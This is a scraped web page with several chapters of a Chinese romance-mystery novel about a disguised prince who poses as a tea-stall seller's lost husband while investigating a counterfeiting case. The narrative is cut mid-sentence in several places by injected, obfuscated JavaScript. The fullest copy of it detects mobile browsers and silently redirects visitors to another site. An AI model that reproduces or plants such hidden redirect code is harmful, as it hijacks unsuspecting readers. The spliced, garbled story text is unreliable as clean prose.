柳湛并未开口，只是捡了那些□□，一枚枚一张张端详，林元舆见状也跟着瞧，却没瞧出明堂，而柳湛却攥着一张交子，端详良久，以至于众人怀疑殿下在出神。 “掌灯。”柳湛淡道。 蒋望回不多问，白日里点起书灯，拿至柳湛斜上方，似乎还不够亮，继续往下送。他个头高，并不方便，蒋音和见状从他手上接过书灯：“我来吧。” 她双手执灯，向前倾身，光在交子上照出一个浅亮的圆圈。柳湛缓缓挪动交子，由上至下，过了面额批次，落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱方巷沸反盈天，喧闹声实在太大，他索性坐起，没有掌灯，借着窗外的月光看向桌上滴漏，刚到子时，拿起架上的圆领袍，披衣穿袖，再系玉带，这才点灯。 刚亮一会，将将洗漱完，就有人门口轻叩。 柳湛并未唤人进来，反而步至门前，将门推开，果不其然外面立着蒋望回。他一双眉头深锁，低声道：“这会是朱方巷最热闹的时候。” 柳湛点头，一主一仆趁着夜色离开悦来店，拐去临近朱方巷。一进巷口，就见浴堂门前卖茶汤和洗面汤的，七八辆推车，个个都排了七、八人的队，做完工来洗面的屠户络绎不绝。 柳湛抬手，挥散开水带来的雾气，但不一会又淹没在氤氲中。 有一队添第九人，队尾刚好到柳湛脚边，他让了半个身子，同队伍屠户攀谈：“老丈，这家洗面汤可舒坦？” “凑合吧。”屠户不咸不淡，“主要最近萍娘子一直没出摊，剩下的就随便挑了！” 柳湛微觉耳熟：“萍娘子？” 16. 第十六章 “你们是外面来的吧？” 柳湛含笑不答。 “你们不晓得，萍娘子的汤水那叫一个舒服、痛快！”往常她要出摊啊，这队伍要排到转弯——”屠户举着手比划，“有萍娘子在，我们压根不选别家！” “是啊，萍娘子家的胰子和别人都不一样，学不来的配方，特别舒服！”周遭的屠户听见，纷纷附和，“萍娘子要在，肯定选萍娘子的面汤啊！” “是啊，咱们这朱方巷没人没光顾过，都是老主顾。” “也不知萍娘子这几日发生了什么？怎么不出摊了？以前风雨无阻的。” “去她家敲门好像没人……” 柳湛脑中忽然浮现那张户籍：方萍，润州丁卯街方家独女，常年在朱方巷卖洗面汤。 他侧首问蒋望回，头一回关切起萍萍：“她还在那吗？” 蒋望回垂眸：“应该在的。” 柳湛转身往巷外走，蒋望回旋即跟上：“女医说她操劳过度，要好好休息养病，萍娘子只怕在睡觉，郎君要不等几天，她稍微恢复了再审讯？” 柳湛脚下不停，语气淡漠：“追查之事，耽误不得。” 二人到刘家久住时，萍萍果然在补觉。 她听了蒋望回的话，好好养身体，这样等官人回来，就可以夫妻齐心，全力以赴经营汤饼铺了。 房外，柳湛屏退蒋望回，独自叩门。 萍萍睡得香甜，完全没有听见。 柳湛用手背连叩三下。 门内莫说应声，连口气都没呼出来。 柳湛心想人怎么可以睡得这样死，不耐以掌拍门。 这一下甚响，萍萍骤然从梦中惊醒，心头狂跳，脑袋也有几分晕，但还是好脾气笑问：“请问谁在外面？” “开门。” 官人！ 这声音化成灰萍萍也认得，她立马跳下床，匆匆披衣，边开门边问：“这么快就从扬州回来了？” 柳湛见她衣衫不整，先愣了下，继而垂耷眼皮：“你先穿好。” 萍萍吐舌：“没别的人瞧见。”说着把柳湛让进屋内，砰地一下关紧门。 柳湛回身，见她裙上的带子还是没系，他垂头往下看，袜和鞋都没穿，一双赤足踩在地面——她身上丰腴，脚却瘦，行走用力足骨凸起，愈发显脚白指粉，柳湛不知不觉没有移目。 “官人你不是去扬州了吗？” 柳湛心想她知不知道一个女人在陌生男子面前露足意味什么？ 是否故意？ 又惊觉这是自己第一回瞧见女子的脚，愈发不悦，凤眼几全促起，才能掩住眸中愠色。 扬州？ 他这才琢磨萍萍的话，估摸是蒋望回之前敷衍了什么吧。 “没有去成。”柳湛应声。 “说来官人你去扬州做什么？”萍萍很自然走到桌边给柳湛倒了一盏茶，递给他。柳湛阖唇不答，接过茶放到桌上。 “官人，你这几日憔悴了。” 柳湛听到这话，数分愕然，挑起眼皮，正见萍萍满面愁容，满目关切望着他。 “这两天润州都在下雨，你这袍子是不是薄了？我这几天给赶件厚的做出来。”不用量尺寸，她都刻在心里呢，“你要多休息，别再奔波了，我这里有补气的方子，给你也调调？” 要是阿湛需要，萍萍觉得自己不喝药，让给他也是可以的。 柳湛注视她那对眸子里，一边一个他，再无其它。 “对了，你吃早饭没有？这旁边的鱼汤小馄饨可好吃了，既清淡又滋补，我吃的时候就想哪天一定要带你吃。”萍萍说着穿袜穿鞋，衣裙整得端正，才开门朝正堂那边喊：“小二哥，小二哥！” 柳湛的目光从她眸上挪开，缓缓看了枚，看了鼻和口唇，又注视整张脸，灰暗无光。 两眼皆有圈浅淡的黑紫。 她才是气色不好的那个，柳湛再心里默道，但他没有关切萍萍，只启唇：“我吃过了。” 萍萍张了张嘴。 过会，又笑：“官人你去取的什么信物？拿到了吗？” “之后给你。”柳湛拉开萍萍旁边的圈椅，在桌边坐下。 萍萍见状也拉开椅子，挨着柳湛坐下。 应该隔远些的，忘了像上次那样，柳湛心想。 “萍娘子喊我做什么？” 柳湛等人进进出出，萍娘子又晕倒，店里诸位早心痒痒，按耐不住，萍萍一唤小二，店主人、刘娘子和小二全跑来打听。 大伙头伸进屋内，上下打量柳湛，明知故问：“哎呀你家官人回来了呀？” 萍萍两颊微红，酒窝深陷，分外的甜。 柳湛瞥了眼萍萍，只好也对着众人一笑，内心十分勉强。 “把你们都喊来，实在是不好意思，本来我想给官人叫碗馄饨，后来才晓得他已经吃过了。” 听到萍萍的解释，众人纷纷朝柳湛说话：“真不尝尝馄饨吗？鱼汤泡饭也很鲜，我们这的一绝。” 萍萍心道阿湛以前有段时间胃不好，还是别选泡饭。 “多谢，下次。”柳湛言简意赅，之后都由萍萍和众人说话、送走。柳湛看她言笑晏晏，有时甚至朗朗笑出声，回身关上门了，笑还挂在脸上。他疑惑她怎么总这么高兴？有什么值得高兴的么？ 萍水相逢，明日陌路，柳湛无意深究，也没有问出来。他只等外头静了，确定除萍萍外，再无第三人能偷听到，才问：“你这些年都在朱方巷卖茶汤？” “是啊！”萍萍坐回原位，掰着指头说，“还挺赚，我就是靠这个攒起来汤饼铺，最迟下个月就能开张了，到时候官人我们下臊子面，这边人喜欢吃细的，银丝最好，你当时……” 柳湛不想听她许多废话，打断道：“你卖洗面汤时，有没有遇到拇指缺了一截指纹的人？” 萍萍不知道他为什么问这，却仍认真回忆，知无不言：“有啊，手上有湿的人就容易没指纹，最开始张老丈来我这洗，用了臊子手上发痒，挠破了结痂，结痂又破，渐渐他大拇指指腹就变硬瞧不见纹路了。” 柳湛听完开口：“张屠脸上可也起疹？” “没有，他脸上就有颗痣，在眉毛这，他以前跟我说这是卧虎藏龙。”萍萍边说边比划，又想起柳湛耳后小痣，不禁朝那颗痣瞟去。 柳湛不解，也跟着转头。 萍萍笑道：“官人你这也有颗痣。” 柳湛心道小不忍则乱大谋，同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳湛抓起萍萍的手，从自己手上移走，松开，平静道：“我要与你开面店，长随自然是不能再做了，得同林员外辞别，手头的活还有许多要交代，时间自然要得久些。” 萍萍不住点头：“那是应该交代。官人你只管放心去料理，不要急，多久我都等你，就是……”她看向柳湛，自说自笑：“这里住太贵了，我打算明天回朱方巷去，我给你写个地址，你办完事回家找我。” 她说罢就提裙飞跑出去，柳湛也跟着她出门，看她原来是到柜台找店主人借纸笔，却没寻见，奔去二楼寻到店小二，折返柜台拿笔纸，发现墨恰巧用完，便又随小二上二楼库房添，忙前忙后，一脸坦诚。 柳湛注视她上楼的背影，听她问店小二：“还有没有朱砂能借我？” “朱砂？我找找。” “我想待会墨笔画图，再用朱砂标注，麻烦小二哥，多谢小二哥！” 柳湛收回目光，默然无声步出久住。蒋望回就等在不远处，见状跟紧，柳湛漠道：“先找一眉间有痣的张姓屠户，待会你回去再将朱方巷每户人口调查清楚。” “喏。” 一主一仆说罢便往朱方巷，不曾回头。 17. 第十七章 天依旧漆黑，悦来店这条巷子偶尔几间光亮，似坟头萤火，飘忽不定，但柳湛和蒋望回一拐进朱方巷，夜风袭来，仿佛无形中有哪位仙魔施法挥袖，顺燃起所有的灯，明晃晃把朱方巷头顶的天都照亮。 二人经过喧闹氤氲的浴堂口，往深处走，才两、三步就有人沙着嗓子喊：“唉，大官人！” 光亮间一点雾气，分不清是沸水热气还是寒露，一长脸屠户冲蒋望回招手。蒋望回笑着点头，记得这人，沙嗓长脸，上回问他买过肉。 屠户也记得他，快到中午了还来买肉，哪里找？差点想把瘟猪卖给他。 到底不积德，忍住了，从角落里扒拉出二斤肥肉，屠户还记得给蒋望回装起来时自己的说辞：“这肉炼油好下饭，瘦肉未必有这香。” 他心里还是有两分过意不去的，招呼蒋望回：“大官人今来得早，有上好的精瘦梅条。” 蒋望回本来不准备买，却见柳湛目光扫向屠户眉尾的黑痣——其实已算不得眉尾了，已经挨着太阳穴。 于是蒋望回笑道：“那给我来一条。” “好咧！”屠户钩上取肉。蒋望回又道：“麻烦帮忙切臊子，回去包馅。” “好咧。”屠霜把肉放到案板上开始剁，柳湛和蒋望回皆不露声色瞥向屠户拇指，攥着刀，有肉泥有血，不容易瞧清。两人多盯了会，屠户瞧在眼里，以为被怀疑李代桃僵，巷子里的确有人这么做，切肉的时候手快，掺些便宜槽头进去，但不是他。 屠户面色和善，语气热情：“大官人们保管放心，这梅条给你们完完整整切好，待会砧板上能刮的都刮下来。” 心里却道好心没好报，早知道继续卖你纯肥。 柳湛比蒋望回早一点看清屠户拇指，两手皆有指纹。 痣也不大对。 应该不是。 但走远些，柳湛还是问：“知道他姓什么吗？” “姓李。” 柳湛不语，与蒋望回慢行多看。蒋望回又问：“天下姓莫过张、王、李，万一有好几个都有痣呢？” 柳湛旋即接口：“那就宁可冤枉，不可错漏。” 他忽然想到萍萍，她要是骗他，就死定了。 “大官人，买肉不？”又有屠户招呼蒋望回。 记得上回找他买的脆骨，蒋望回提了提手中梅条：“今日要买不多，已经有了。” “那下回来找小的！” “一定。” 客套后，蒋望回和柳湛一道走过店铺，耳畔剁肉声此起彼伏，蒋望回缓缓开口：“他倒是姓张。” 但刚才那屠户肥胖白净，脸上莫说麻子痣，连一个痘坑都没有。 二人继续边走边观察，遇着一个眼角有痣和一个山根有痣的，都打探了姓名，再往前遇着家大店，门口七、八个刀手和案板一字排开，皆是双刀快手，铿锵有力犹如奏乐。 当中有一位，是那天白日留守遇着蒋望回的，当时店子里肉全卖完，指甲缝里都扣不出来，所以说上几句话，略表遗憾，没做成买卖。 刀手已经记不起蒋望回，蒋望回仍记得他，大伙都喊小叶。 “大官人要买什么肉？”小叶问蒋望回。 蒋望回一眼扫去，刀手中没有上半张脸长痣的，而后发现柳湛在往上瞟，他便也瞥，脏兮兮的挑子依稀能辨认出个“张”字。 蒋望回抱拳唤小叶：“张兄。” “不不，您喊错了！”刀手旋即纠正，“小的姓叶。”他往后一指，“张是我们东家的姓。” 柳湛和蒋望回顺他所指眺向铺内深处，一四十上下的男子正躺在竹椅上，手拿茶壶，闭目养神，天已经蒙蒙亮了，光透门照到他脸上，半明半暗，手和茶壶在暗处，只能瞧个轮廓，刚好眉丛中一颗痣在亮处。 柳湛启唇：“我们买二斤肉，全切成臊子，不要见一点肥，”他看向案板，似对副手的刀工不满意，“叫你们东家来切。” “大官人有所不知，我们东家不操刀的。唉赵娘子沈娘子……”刀手解释着解释着，就茬到招呼新主顾，柳蒋二人循声望去，见俩手挎提篮，皆戴幂篱女子绕过桌案，拾级进入店铺中。根本瞧不见面目，不知刀手如何认出来。 柳湛和蒋望回皆好视力皆，瞧见女子进去后，张屠起了身，接着三人一同走到铺左，一面墙挂满猪肉。张屠剔下一块，捉刀细细剁。 可还是看不清张屠指腹。 蒋望回径直问副手：“不是说不操刀么？” 刀手舔了下唇，堆笑：“那是咱们邻居，和东家熟稔。” 柳湛笑道：“我们住隔壁巷子，也算街坊邻里，不知能不能劳烦东家，也给我们破一回例？我们会外加些工钱。” “加金山银山都不成。”刀手摆手，“东家眼里的邻里街坊人，只有咱们巷子里的人。” 说太久，旁边的刀手也凑过来：“大官人千万别误会，小叶说话可能难听了点，但绝对不是故意刁难。不止我们东家，这巷子里有不成文的规矩，许多待遇都只对本巷人。” “为何如此？”蒋望回追问。 刀手们却只笑着摇头，不再说话了。 蒋望侧首看向柳湛。 柳湛抿唇笑了笑，仍望铺内，张屠剁完，给俩竹篮装了肉，重回竹椅躺下，二女挎上篮子，竟朝院内深处走去。 “怎么不见二位娘子出来？”柳湛笑问。 “你还说你是隔壁巷的，连这都不知道！”刀手旋即回，没了好脸色。 蒋望回连忙将柳湛拉到一旁，压低嗓音：“郎君，朱方巷比别处巷子宽。它是一横十二纵，左边纵列里全是内巷，三进四进，只允本地人出入。那俩娘子应该就住在里面。我们住的悦来店贴朱方巷右墙，所以觉不到宽。”又请罪，“上回了解了这么个事，却没有向郎君禀明，是属下之过。” “是我疏忽了。”柳湛轻道，方才听那娘子姓沈，看来眼下是见不着了。 许久，他深吸口气，似纠结后狠心下决定：“回客栈同他们说一声，我这几日不回去了。” “郎君要去哪里？” 柳湛侧首眺眼，与蒋望回对视，俄顷，蒋望回反应过来，惊呼：“郎君！” 柳湛点点头，他要回刘家久住认下那个假娘子，然后作为她的官人，住来朱方巷中。 蒋望回抿着嘴巴喉头滑动，终是无话可说，埋首领命。柳湛也怕他开口，还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柳湛却没急着应声，反而另起话头：“从前的事我一件也记不得了，你叫什么名字？” 虽然记得前几日和柳湛说过，但萍萍还是认真作答，语气只有诚恳，全无指责：“我叫萍萍。” 柳湛看她眸子亮亮，酒窝深陷：“姓呢？” 户籍上她叫方萍。 “我不知道自己姓什么。”萍萍到这时，眉间才萦点愁，“也许没有，也许有，但记不起来。” “父母呢？” “不记得。”萍萍笑仰起脑袋，再次同柳湛对视，“若我记得，自然也知道自己姓什么了呀！”她做了个无可奈何的表情，“我就记得萍萍，大伙这六年也都喊我萍萍或者萍娘子。” 柳湛沉吟不语，叠字作乳名尚可，及笄了还唤略显轻浮，何况浮萍随波逐流，雨打飘零，风尘味重。 “不过我记得，”萍萍脸上的笑容变了，仿佛阳光在这一霎照到她脸上一样，耀眼坚毅，“官人你曾说萍萍两字就很好，‘青萍不是漂泊无根，而是与干将齐名的宝剑重器！’” 18. 第十八章 柳湛默然，他可没说过这样的话。 “嗯？嗯？”萍萍更凑近一步吸鼻子，柳湛蹙眉，萍萍竟直言不讳：“官人你身上怎么有猪骚味？” 柳湛眉心一跳，还未开口，萍萍又道：“我们朱方巷就天天是这个味，本来还担心你去了受不了呢。” 柳湛脸更黑，但查案事大：“说起朱方巷……巷子里的人，是不是有些排斥外人？” 萍萍垂眼，羽睫也随之垂下：“有果必有因，朱方巷屠户多，味道不好闻，外人先嫌弃他们，酒楼、脚店、饼铺、绸缎铺，甚至连学堂都不允朱方巷的人出入，所以巷里的百姓才以治其人之道，还治其人之身。” “但这也仅仅是我还没住进巷子前听到的传言。那时我身无所长，开汤饼铺又没钱，便想着摆个洗面汤摊，在城里转了一圈，感觉朱方巷口最能赚钱。起初也很畏惧传言，怕巷子里的人不接受我，不让摆摊，没有主顾，但不是那样的，没人排挤我，大伙热心帮忙。再说，生意人肉卖八方，哪有这要求那规定，得罪主顾的道理？” 柳湛看着萍萍，心想她这样的人自然哪都能融进去。 萍萍想的却是柳湛的感受：“所以官人你不用担心，跟着我一起回去就行。” 柳湛迈步，从和萍萍对立变成走到她身后，抬手拍了下她的肩，等查完伪.钞案，水落石出，若这扬州润州来回折腾,留下的线索俱是皇后布置，假的，萍萍是效忠皇后的棋子，那她该死； 若她与朝堂无关，是一位认错夫君的妇人，亦或仅只是得了癔症，也该死。 柳湛平生爱净，尤其人前，喜欢穿一尘不染的白袍，人生亦如是，不能叫人晓得，他曾与泥同。 因为被拍了肩膀，萍萍转过身来，刚好瞧见柳湛低头望来，弯下眉眼，柔声答应她：“好，我们回家。” 萍萍只觉阿湛眼中的流波流进自己心田，再没有什么，比眼下更幸福。 “好，我们回家。”萍萍笑吟吟去挽柳湛，柳湛却比她快一步出门，萍萍连忙追去，前后脚出久住。 萍萍快要追不上：“官人，等等我！” 柳湛在久住大门口停了下，萍萍一下没止住，差点撞上柳湛后背。他让开，看她一眼，又转过身去。萍萍望的却是隔壁的馄饨铺子，日日听说，头回亲见，四方小店，大排长龙，五、六张桌坐满，外面还有端着吃的，三位娘子在后头包馄饨，手上不停，一位小哥前面下，一碗接一碗。 好香！ 萍萍嗅嗅：“官人，你想吃鱼汤馄饨吗？” 虽然柳湛说吃过，但那会是子夜，这过几个时辰，没准饿了呢？ 柳湛和蒋望回出客栈就来查案，并未进食，却摆手拒绝。 萍萍没再多话，与柳湛一道往朱方巷走，已经离得好远，却仍扭头在看馄饨铺。柳湛瞧在眼里，心道难不成她想吃？ 多一事不如少一事，他没问出口。 其实萍萍并非如他所想，她是因为日后的汤饼铺同馄饨摊规划布置差不多，禁不住幻想起和阿湛经营汤饼铺的将来，越想越欢喜。 前面经过早市，两侧皆是菜摊，摆着本地人常吃的蒜黄、芹菜、萝卜苗、马兰头，萍萍记得柳湛爱吃蒜黄炒鸡蛋，便拍拍他手肘：“唉，要不要买些菜回去做？” 柳湛低头瞧刚被萍萍拍过的胳膊，须臾，抬眸：“不用，下碗面就好。” “好——” 前面又是成衣李记，萍萍记得巷子里好几位屠户都说这家衣裳裁得不错：“官人你要不要做几件衣裳？” 这六年她还是攒了一些钱的。 “不必，我有衣裳在员外那边，待会去拿回来。” 萍萍一愣，他不是刚去交代妥了吗？怎么又要回去？ 为何方才不把衣裳一道带过来？ 虽有疑惑，但萍萍觉得不是什么大事，没再追问，她伸手去牵柳湛的手，却被他晃过。萍萍笑着再牵，柳湛胳膊一动，竟再次落空。萍萍低头看向柳湛的手，默不作声，继续朝着朱方巷行了百来步，再牵，还是没牵着。 萍萍笑着又试两次，他的手竟似水中月，看得见摸不着。 她心绪不由低落。 下一刹，只觉手上一凉，竟是柳湛主动牵起她的手。 萍萍又愧又喜，愧的是她误会阿湛躲她，喜的是终于牵手，还有数分担忧：“官人你的手怎么这么凉？” 萍萍抬头，才惊觉已经到了朱方巷，浴堂门口还剩杨婆和另两位卖茶汤的，瞧这百年难得一遇奇景，皆围上来。 “哎呀，萍娘子——这是谁呀？” “啧啧。” “是我官人。”萍萍的脸红透了，脑中却忽然一痛，觉得这场景似曾相识。 朱方巷的邻里们围得越多，纷纷打趣：“阿湛对吧？终于找着了！” “我说萍娘子这几天怎么生意不做了，原来发生了大喜事！” 又有人同柳湛道：“兄弟，你娘子等你不容易，每天风里来雨里去在这里开洗面汤，坚信你会回来，你可莫要辜负她。” 柳湛心道他又不是萍萍等的人，就算冤有头债有主也算不到他头上，面上却笑着一一应是，又有屠户囔道：“来来来，为庆祝萍娘子和她官人团聚，我送二斤五花给萍娘子！” “那我也送二斤，随个份子钱！” “我送二两。” “我说老陈，我们都二斤就你二两，抠抠搜搜的？” “就是！” 柳湛的笑凝了一刹，因为挤进人群，起哄“就是”的，正是之前无法近身的张屠。 “你们猪杀多了，还真成猪脑啦？”之前被说小气的陈屠反呛，“送那么多肉，萍娘子和阿湛就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196446|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人，吃得完吗？堆在家里发臭啊！” “那可以隔天再送嘛！你们送中午那顿，我送晚上的。”张屠笑呵呵，他朝着萍萍和柳湛扬手，“萍娘子，记得下午来我家拿肉啊！” 柳湛瞧见他左手肌肤的确比平常人僵硬，拇指和食指皆翘起硬皮，没有指纹。 众人你一言我一语，萍萍始终在笑，等大伙闹够了，安静下来，她才牵着柳湛，朝人群一拜。柳湛不动，她就拉了下柳湛胳膊，柳湛这才身极缓慢前倾。 萍萍看向街坊们，高声宣布：“多谢各位美意，从明天起，三日的洗面汤我都不收钱！” 一片叫好声中，柳湛仅上身朝前倾了半寸，就即刻直腰。 萍萍看前方在，没留意到，笑若春风：“还望日后诸位多多关照我家官人。” “好咧跟我学杀猪。”有屠户马上接口。 “你有没脑子？人小两口是要开汤饼铺的。”又是陈屠呛的。 “哎呀看我这记性，那我以后每天去吃面！” “我也去！” “我也去！” 萍萍并没有扭捏推辞，笑着应下：“那我这里先谢过大家了！” 一派祥和欢乐中，独杨婆几个卖茶汤和洗面汤的变了颜色，收敛笑意——街对面，气派的裴宅对开大门，裴小官人罩着件荼白鹤氅，头戴白玉冠，缓缓朝人群走来，身后跟着小官人的长随。 越来越多看出裴小官人对萍萍心思的人噤声，内心却嘀咕声起，有替他惋惜的，天涯处处芳草，但愿小官人想开些，有怕他一时冲动做下错事，全身绷紧准备拉架的，还有些就纯粹就算看热闹不嫌事大，眼瞅裴小官人一步步走近俩夫妻，心情比当事仨还激动。 裴小官人板着脸，冷着眼，约莫还有五步之遥，柳湛和他视线对上，瞬间读出对方眼中敌意。 柳湛突生不悦，如鲠在喉，嘴角虽仍挂着笑，眼却冷下去，牵着萍萍的手攥紧，竟主动探指，与她十指紧扣。萍萍低头去看二人的手，柳湛则始终目视前方，朝前迈了半步，不仅牵紧，还要用身体挡住她。 裴小官人经过柳湛身边，擦身而过，大伙忽然惊觉两人皆是一身白，面如冠玉，竟有六、七分相似。 在场一些娘子却看出不同，裴小官人白得太过，五官却较萍萍官人粗犷，两两不协调，玉面白衣的文雅风流便显刻意。 单论颜色，裴小官人输得不冤。 裴小官人走到柳湛身后，停步，侧身，面对萍萍。萍萍再傻，也明白眼下的情景，她没有转过身来面对裴小官人，心想着以后不做他生意了。 裴小官人缓缓扬起两边嘴角，冰冷褐眸里浮起数点笑意，柔声道：“天寒风大，你这单衣薄裤的，是冷了多久？”裴小官人说着解下身上鹤氅，要给萍萍披上，“可怜走了一路，竟无人关心你，为你添衣。” 19. 第十九章 萍萍脚向前迈，躲开裴小官人，并与柳湛平齐站立，紧紧牵着，空着的那只手抬起来摆，果断道：“我不冷。” 有官人和她一起归家，心里暖烘烘。 裴小官人笑意瞬敛，少倾，重笑起来。萍萍没有看他，仰起脑袋眼里只有柳湛：“官人我们回去吧。” 柳湛低头对视：“好。” “夫妻俩”便向众人道别，手牵手把家归，众人自动让开中间道路。等夫妻俩走远，不少人又似流水重新合拢，聚到裴小官人面前：“算啦，人家多年的夫妻，这事呐有个先来后到。” “小官人喝碗茶汤，消消气。” “心放宽些，天涯何处无芳草？” “天下女子何其多，小官人要是不介意，老夫有个侄女……” 裴小官人一个也不理会，扭头就走，他的长随也不搭理众人，先后回家紧锁大门。 萍萍柳湛这厢，到了一家专卖牛羊肉的铺面门口，萍萍同刀手店家打招呼后，柳湛也随萍萍问好。罢了，萍萍笑摇柳湛的手：“要绕过去。” “嗯，你领我走。” 萍萍带他绕过院子，走上一条较正路窄些的青石板道，路左右延出许多小岔道，仅能过一辆马车，萍萍见柳湛在环视，就告诉他：“这些路也能出巷子，但绕路太长，还容易迷路，你要出去就按我们走的这条路走，是最短的。” “好。”柳湛不紧不慢应声。 二人继续前行，经过七、八户人家，才到萍萍住所，吃饭睡觉在一间屋内，另有厨房茅厕，麻雀虽小五脏俱全。 “到了家。”萍萍松手去开门，柳湛手上一空，看向自己空垂的右手，这才意识到后面那段没行人的路，他仍在和萍萍牵着，且没想过要松开。 柳湛愠恼，再抬眼晲向萍萍的眸光更冷数分。 萍萍不察，好几日没回来，她要除尘，还要去厨房生火烧水，好多事忙，顺嘴一道：“官人你这会吃面不？” “待会吧。”柳湛进门后只走了一步半，就站定静静注视。 “那你先坐会休息，床上我换了新被褥，也能躺。” 柳湛眉毛挑了下，未接话，萍萍以为他默允，自去厨房。她做惯了，生火、舀水、烧开一气呵成。 第一壶先给柳湛沏茶，小心翼翼捧到桌上：“小心烫，待会再喝。” 柳湛待会也不会喝，萍萍又笑问：“官人你要洗把脸吗？” 半日风尘，身上还有味，怕他嫌脏——以前的官人最爱干净了。 “还是沐浴？”萍萍接着问，方才给他买新衣服他不要，“不过只能换屋里备的了，裁了四、五年，样式不时兴了，当时我以为会很快重逢。” 柳湛挑眼：一个独居女子，家里常备男人衣裳？ “不必。”他沉声拒绝。 萍萍还是拉抽屉取出两方干净帕子，又拿胰子，柳湛本正冷脸旁观，看到她攥着胰子的手，不知怎地，脑中忽然响起那句话，“那萍娘子的胰子特别舒服，独一份的”。 接着，注视萍萍往木桶里倒冷水、热水，萍萍明明站着不动，他却禁不住假象她俯身将脸没入水中洗脸的样子，可能还会有几缕没束紧的碎发也沾到水，等洗干净了，她重新直起身，还没擦时，水珠顺着她的眉眼滑到脖颈…… 柳湛神游许久，回过神时，萍萍已经披头散发，发带袖衫合围乃至裆裤都放在桌上，只穿一件琥珀色抹胸和罗纹并蒂莲的裈，鞋也脱了，手正绕到背后解抹胸带子，柳湛耳根骤然红，高声呵斥：“你做甚么？” “沐浴啊。”萍萍不以为然。既然他不沐浴也不洗面，那她先洗个澡，“我好多天没换衣裳了。” 柳湛眼皮直跳，鼻息急重，先是抿唇别首，继而彻底背过身去，深吸口气：“你洗快点。” 萍萍手还放在系带上，愣了一会，赶紧赔笑：“好。” 她安慰自己，以前的事官人一件都不记得，所以才不习惯亲密，等他慢慢想起来就好了。 柳湛听着背后哗哗水声，闭上眼睛。 喉头滑动。 站了一会，他还是决定去屋外，正要抬腿，忽然瞥见桌上萍萍那一堆衣物里有张对折的纸，柳湛伸手挑起，打开看是张药方——方子小，仅八味药，皆是些温良无害的黄芪山药之类。 山医命相卜，柳湛皆晓一二，这方子主要补气。 想起蒋望回曾提及萍萍身体不好，要多修养，柳湛缓缓蜷曲五指，将药方抓在手中。 “我去员外那取衣裳，顺道抓药。”柳湛说完，不等萍萍应声便出门。 萍萍正洗着，听进耳中，却没第一时间反应过来，等她回头，已无柳湛身影。她望着关紧的大门，怔了须臾，自个乐起来：官人主动帮她抓药，主动关心，是不是意味着快想起来，或者已经想起来什么了？日子正越变越好。 萍萍不禁边洗边哼起小曲。 柳湛腿长步大，一会就离很远——他并没有按照萍萍嘱咐，原路折返，不绕肉铺，反而选择岔路当中最不起眼的那条，边走边不露声色观察周遭。 忽地，柳湛眼皮连眨两下。 他继续往前走，脚下仍不紧不慢，甚至连面上的疏淡神色都无变化，不久，柳湛倏地转身，袖里剑出，打掉直刺面门的飞刀。 一个穿夜行服，罩头蒙面的黑影跃至柳湛面前，捡走飞刀，又出双剑，向上朝柳湛刺来。 柳湛横剑，三剑相抵，发出锵锵脆声。柳湛纵身跃至房檐，寒光照面，睨看黑衣人，冷笑道：“怎么，白日做鬼，蒙头遮面，就这怕别人知晓你身份？” 黑衣人默不作声，仰头纵身，再次袭来，柳湛手腕翻转，挽剑花亦是抵挡。黑衣人再攻他下三路，两剑将柳湛单剑夹于中间，欲强行扳倒。柳湛腾空翻转，白袍翩翩，黑衣人继续攻上，一刻不停，且袭击之处，非喉咙便是心脏。柳湛半生见过太多刺杀，他们舌下多□□药，被俘即刻自尽，所以柳湛亦招招狠辣，直取性命。 两人自房顶打回地面，顶上的瓦竟被二人剑气带离，犹如鱼跃，后又整齐划一，同时落回顶上。 * 悦来店，上房。 “什么？！”原本坐着的蒋音和倏地站起，一眨不眨盯着自己哥哥，厉声质问，“郎君答应做她的夫君？” 蒋望回对视片刻，别过头轻声作答：“只是假扮。” 蒋音和两手撑着桌面，胸脯起伏：“简直荒谬、荒谬。” 众人见她气得不行，纷纷劝慰，林元舆捋捋须，慢开口：“也就十天半月时间，事急从权，郎君与她只是做戏。” 再说，假戏真做又如何？ 不说一国储君，将来有正妃侧妃，就是寻常男子，亦是妻妾美婢环绕，。 林元舆觉得蒋音和在这件事上，颇不识大体，且这不是关键。他转望向蒋望回：“等郎君回来，我们皆作不知？” 最怕袁未罗，嘴上无毛，办事不牢，殿下回来他嘴快。 “不可以。”蒋音和突然出声，林元舆以为她反驳自己，皱起眉头：“依老夫——” “音和，回来！” 林元舆突被蒋望回的高喝打断，不由愣住，等他缓慢扭头看向门口时，蒋氏兄妹一前一后，皆快到门口。 眼看要被哥哥追上，蒋音和回身推倒博古架， 